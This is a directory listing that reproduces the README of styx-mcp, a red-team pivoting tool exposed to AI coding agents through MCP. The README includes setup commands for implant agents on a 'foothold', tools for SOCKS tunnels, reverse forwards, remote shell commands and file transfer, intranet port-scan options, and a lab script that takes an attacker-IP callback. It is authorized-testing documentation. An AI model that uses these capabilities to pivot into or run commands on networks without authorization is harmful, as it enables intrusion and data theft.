Skip to content
Conduit

mcp server

styx-mcp

Orchestrate multi-hop pivots, SOCKS/forwards, and intranet recon through MCP tools. Authorized use only.

N0va-7/styx-mcpcommunitylistedunreviewed

Set up

Runs on your computer. Pick your agent and operating system.

This project does not publish an install method we can turn into a config. Follow the README instead.

README

synced Oct 20, 2026

Orchestrate multi-hop nodes, tunnels, and intranet recon via MCP tools

Disclaimer

Authorized use only. Use only on systems you own or have explicit written permission to test (labs, CTF / exam ranges, RoE-covered engagements). Unauthorized use is illegal. You are solely responsible for how you use this software.

Please read this README (especially SOCKS vs forward vs backward vs scan) before use.

Features

  • Tree topology: active (-c) / passive (-l), multi-hop pivots
  • Mutual HMAC preauth + optional TLS
  • SOCKS5 on the controller — local tools exit via a chosen node
  • Per-stream byte-window flow control (controller/agent must match)
  • Forward (listen on agent) & backward (listen on controller)
  • Async start_cmd — one-shot remote command (task_id)
  • Async start_scan — discover → port scan → light fingerprint + refs
  • Async pull_file / upload_file
  • Async tasks + get_task_status (phases + result.progress for long scans)
  • Agent auto-reconnect after unexpected drop (stable node_id reonline; SHUTDOWN disables)
  • Cross-compile: Linux / Windows / macOS (make build-all)

Table of contents

Quick start

git clone https://github.com/N0va-7/styx-mcp.git
cd styx-mcp
make build          # → release/<os>-<arch>/
# Terminal A — controller (keeps stdio for MCP; for CLI smoke only)
./release/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')/controller \
  -s change-me -l 127.0.0.1:19137

# Terminal B — agent
./release/.../agent -s change-me -c 127.0.0.1:19137

Prefer Cursor? Skip terminal A and use the wrapper below, then only start the agent.

make build-all   # linux-amd64 / windows-amd64 / darwin-arm64
make test

Prebuilt binaries: see Releases when a maintainer publishes one (make build-all, then attach archives manually). Auto tag→Release CI is not enabled.

Cursor / Codex MCP setup

  1. make build so release/<os>-<arch>/controller exists.
  2. ~/.cursor/mcp.json (or project .cursor/mcp.json):
{
  "mcpServers": {
    "styx-mcp": {
      "command": "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh",
      "env": {
        "STYX_SECRET": "change-me-to-a-strong-secret",
        "STYX_LISTEN": "127.0.0.1:19137",
        "STYX_LOG": "/tmp/styx-mcp-controller.log"
      }
    }
  }
}
  1. Cursor → Settings → MCP → enable / refresh styx-mcp.
  2. On the foothold:
./agent -s change-me -c <controller-ip>:19137
EnvDefaultMeaning
STYX_SECRET(required)Shared secret (-s)
STYX_LISTEN127.0.0.1:19137Agent listen addr on controller
STYX_LOG/tmp/styx-mcp-controller.logController log
STYX_MCP_LOG(unset)Optional raw MCP stdio log path
STYX_BIN_DIRrelease/<os>-<arch>Binary directory override

Never commit real secrets into public configs.

Codex

  1. make build so release/<os>-<arch>/controller exists.
  2. Add to ~/.codex/config.toml (absolute path; strong secret):
[mcp_servers.styx-mcp]
command = "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh"
enabled = true
startup_timeout_sec = 45

[mcp_servers.styx-mcp.env]
STYX_SECRET = "change-me-to-a-strong-secret"
STYX_LISTEN = "127.0.0.1:19137"
STYX_LOG = "/tmp/styx-mcp-controller.log"
  1. Reload MCP / start a new Codex task so tools (list_nodes, …) appear.
  2. Only one controller may bind STYX_LISTEN (do not run Cursor and Codex wrappers on the same port together).
  3. On the foothold: ./agent -s change-me -c <controller-ip>:19137

MCP tools

ToolWhat it doesListen / act where
list_nodesTopology—
get_node_detailDetail—
add_node_memo / delete_node_memoMemos—
start_listenerWait for child agentsAgent
connect_nodeDial a childAgent
start_socksSOCKS5 for local toolsController → exit via node
start_forwardPort forwardAgent listen → target
start_backwardReverse forwardController → via node → target
upload_fileUploadController → agent
pull_filePull file to controllerAgent → controller path
start_cmdOne-shot remote commandAgent sh -c (async task_id)
start_scanIntranet port scan + light fingerprintAgent (async task_id)
get_task_statusPoll async work—
shutdown_nodeKill node—

Long-running calls return task_id → poll with get_task_status.

SOCKS vs forward vs backward vs scan

You want…Use
curl / scanners on the controller host into an internal netstart_socks
One controller port → one internal ip:portstart_backward
A port on the foothold that dials elsewherestart_forward
Structured open ports / fingerprints from the agentstart_scan

Intranet scan (start_scan)

Runs on the selected agent (traffic exits that host).

Discover (hybrid, default on): host is alive if ICMP succeeds OR any TCP probe port is open.
If zero hosts are alive, the job falls back to scanning all targets and sets warnings (avoids a silent empty result).

Port method: auto (default) uses SYN when the agent has raw IPv4 TCP (root / CAP_NET_RAW on Linux), otherwise TCP connect. Force with method=connect or method=syn.

ArgDefaultNotes
node_idrequiredExit via this agent
targetsrequiredIPv4 IP / CIDR / comma list
modefastfast | normal | full | custom (full is expensive)
ports—Required for custom (22,80,8000-8100)
fingerprinttrueFingerprint open ports only
discovertrueHybrid alive probe first
methodautoauto | connect | syn
concurrency200Max 500
timeout_ms500Per-probe timeout

Phases (via get_task_status): discovering → scanning → fingerprinting → done.
While discovering, result.progress may include stage, icmp_done / icmp_total, icmp_alive, alive_n, tcp_probes.

Rebuild note: controller and agent must be built from the same commit after protocol changes (SCAN*).

Lab helper (authorized ranges only; uses port 19139 so it does not steal MCP’s :19137):

STYX_SECRET=… STYX_CALLBACK=<attacker-ip> ./scripts/lab-scan-e2e.sh

Examples

{ "name": "start_socks", "arguments": { "node_id": 0, "address": "127.0.0.1:10801" } }
curl --socks5-hostname 127.0.0.1:10801 http://<internal-host>/
export ALL_PROXY=socks5h://127.0.0.1:10801
./agent -s change-me -l 127.0.0.1:19138   # child, passive
{ "name": "connect_node", "arguments": { "node_id": 0, "address": "127.0.0.1:19138" } }
{
  "name": "start_forward",
  "arguments": {
    "node_id": 0,
    "listen_address": "127.0.0.1:19141",
    "target_address": "10.0.0.5:80"
  }
}

Connect to listen_address on the agent host.

{
  "name": "start_backward",
  "arguments": {
    "node_id": 0,
    "local_address": "127.0.0.1:19142",
    "target_address": "10.0.0.5:80"
  }
}

Connect to 127.0.0.1:19142 on the controller host.

{
  "name": "upload_file",
  "arguments": {
    "node_id": 0,
    "local_path": "/path/to/tool",
    "remote_path": "/tmp/tool"
  }
}
{
  "name": "start_scan",
  "arguments": {
    "node_id": 0,
    "targets": "172.16.23.0/24",
    "mode": "fast",
    "discover": true,
    "method": "auto",
    "fingerprint": true
  }
}
{ "name": "get_task_status", "arguments": { "task_id": "start_scan-1" } }

Useful result fields: stats, open[], summary.interesting[], optional warnings[] / refs.

CLI flags

FlagDescription
-sShared secret
-lListen for agents [ip]:port
-cOptional active connect
-downraw only (ws rejected)
-tls-enableTLS on node links
-domainTLS SNI / WS domain
-heartbeatHeartbeat to first node
-reconnect-maxMax active (-c) dial attempts (default 3; 0 = single try)
FlagDescription
-sShared secret
-cConnect to parent / controller
-lPassive listen
-up / -downraw only (ws rejected)
-tls-enable / -domainTLS
-reconnectBase delay seconds after unexpected drop (default 10; 0 = off)
-reconnect-maxMax reconnect attempts after drop (default 3)
-socks5-proxy / -socks5-proxyu / -socks5-proxypReach parent via SOCKS5
-http-proxyReach parent via HTTP proxy

Controller and agents must share the same secret (and matching TLS/WS options). After reconnect/reonline handshake changes, rebuild both binaries from the same commit.

Security notes

  • Treat -s / STYX_SECRET like a password; rotate after shared labs. The wrapper requires STYX_SECRET (no weak default).
  • Payload encryption uses HKDF-SHA256 derived AES-256-GCM keys (controller and agents must run matching versions).
  • Optional TLS (-tls-enable) derives a stable cert from the shared secret and verifies peers (still use a strong secret).
  • Default wrapper listen is 127.0.0.1:19137; set STYX_LISTEN=0.0.0.0:… only for remote agents.
  • Bind SOCKS to 127.0.0.1 unless you intentionally expose it.
  • Upload paths allow absolute destinations but reject ..; max single-file transfer is 32 MiB.
  • MCP stdio logging is off by default; set STYX_MCP_LOG=/path only when debugging (may contain secrets).
  • Rebuild controller and agent from the same commit after protocol changes.

Project layout

cmd/controller/     controller + MCP entrypoint
cmd/agent/          agent entrypoint
scripts/            MCP wrapper, lab-scan-e2e.sh, lab_scan_smoke.go
pkg/controller/     control plane, SOCKS / backward / scan tasks
pkg/mcp/            MCP tools
pkg/node/           agent handlers (incl. scan job)
pkg/scan/           targets, discover, connect/SYN port check
pkg/fingerprint/    light fingerprint + vuln ref table
pkg/protocol/       wire protocol
pkg/share/preauth/  HMAC mutual preauth

Acknowledgments

License

MIT

↑↓ navigate openesc close